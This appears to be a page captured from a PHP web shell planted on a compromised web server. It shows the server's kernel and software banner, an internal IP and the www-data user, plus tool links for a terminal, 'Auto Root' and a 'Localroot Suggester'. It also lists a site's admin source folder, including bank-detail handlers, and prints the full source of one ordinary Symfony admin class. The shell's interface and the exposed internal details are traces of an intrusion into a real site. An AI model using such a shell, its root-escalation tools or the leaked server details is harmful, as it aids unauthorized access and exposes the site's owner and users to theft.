Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
UserBundle /
Admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
ClientAdmin.php
2.12
KB
-rwxrwxr-x
2026-05-18 12:51
SellerAdmin.php
4.29
KB
-rwxrwxr-x
2026-05-18 12:51
UserBankDetailAdmin.php
2.25
KB
-rwxrwxr-x
2026-05-18 12:51
UserEMailAddressAdmin.php
1.76
KB
-rwxrwxr-x
2026-05-18 12:51
UserFieldAdmin.php
3.16
KB
-rwxrwxr-x
2026-05-18 12:51
UserLevelAdmin.php
1.88
KB
-rwxrwxr-x
2026-05-18 12:51
UserListAdmin.php
7.2
KB
-rwxrwxr-x
2026-05-18 12:51
UserOldAdmin.php
3.72
KB
-rwxrwxr-x
2026-05-18 12:51
UserTypeTypesAdmin.php
1.84
KB
-rwxrwxr-x
2026-05-18 12:51
UserTypesAdmin.php
1.43
KB
-rwxrwxr-x
2026-05-18 12:51
php_errors.log
2.76
KB
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\UserBundle\Admin; use App\UserBundle\Entity\UserOld; use App\UserBundle\Service\Echasl23UserService; use Sonata\AdminBundle\Admin\AbstractAdmin; use Sonata\AdminBundle\Datagrid\DatagridMapper; use Sonata\AdminBundle\Datagrid\ListMapper; use Sonata\AdminBundle\Form\FormMapper; use Sonata\AdminBundle\Show\ShowMapper; use Symfony\Component\Form\Extension\Core\Type\CheckboxType; use Symfony\Component\Form\Extension\Core\Type\IntegerType; use Symfony\Component\Form\Extension\Core\Type\PasswordType; use Symfony\Component\Form\Extension\Core\Type\TextType; /** * Sonata admin for PHPMaker echasl23 users. */ class UserOldAdmin extends AbstractAdmin { private ?Echasl23UserService $echasl23UserService = null; public function setEchasl23UserService(Echasl23UserService $echasl23UserService): void { $this->echasl23UserService = $echasl23UserService; } protected function generateBaseRouteName(bool $isChildAdmin = false): string { return 'echasl23_users'; } protected function generateBaseRoutePattern(bool $isChildAdmin = false): string { return 'echasl23-users'; } protected function configureFormFields(FormMapper $form): void { $isCreate = !$this->getSubject() || null === $this->getSubject()->getId(); $form ->with('Account') ->add('username', TextType::class, ['label' => 'Username']) ->add('plainPassword', PasswordType::class, [ 'label' => 'Password', 'required' => $isCreate, 'help' => $isCreate ? null : 'Leave blank to keep the current password.', ]) ->add('email_address', TextType::class, ['label' => 'Email', 'required' => false]) ->add('access_level', IntegerType::class, ['label' => 'Access level']) ->add('activated', CheckboxType::class, ['label' => 'Active', 'required' => false]) ->end(); } protected function configureDatagridFilters(DatagridMapper $filter): void { $filter ->add('username') ->add('email_address') ->add('access_level') ->add('activated'); } protected function configureListFields(ListMapper $list): void { $list ->addIdentifier('username') ->add('email_address', null, ['label' => 'Email']) ->add('access_level', null, ['label' => 'Level']) ->add('activated', null, ['label' => 'Active']) ->add('pwdchanged', null, ['label' => 'Password changed']) ->add(ListMapper::NAME_ACTIONS, null, [ 'actions' => [ 'show' => [], 'edit' => [], 'delete' => [], ], ]); } protected function configureShowFields(ShowMapper $show): void { $show ->add('username') ->add('email_address', null, ['label' => 'Email']) ->add('access_level', null, ['label' => 'Level']) ->add('activated', null, ['label' => 'Active']) ->add('pwdchanged', null, ['label' => 'Password changed']); } /** * @param UserOld $object */ protected function prePersist(object $object): void { $this->persistPassword($object); } /** * @param UserOld $object */ protected function preUpdate(object $object): void { $this->persistPassword($object); } private function persistPassword(UserOld $user): void { $this->echasl23UserService?->applyPlainPassword($user, $user->getPlainPassword()); $user->setPlainPassword(null); $user->setResolvedRoles($this->echasl23UserService?->resolveRoles($user) ?? ['NONE']); } }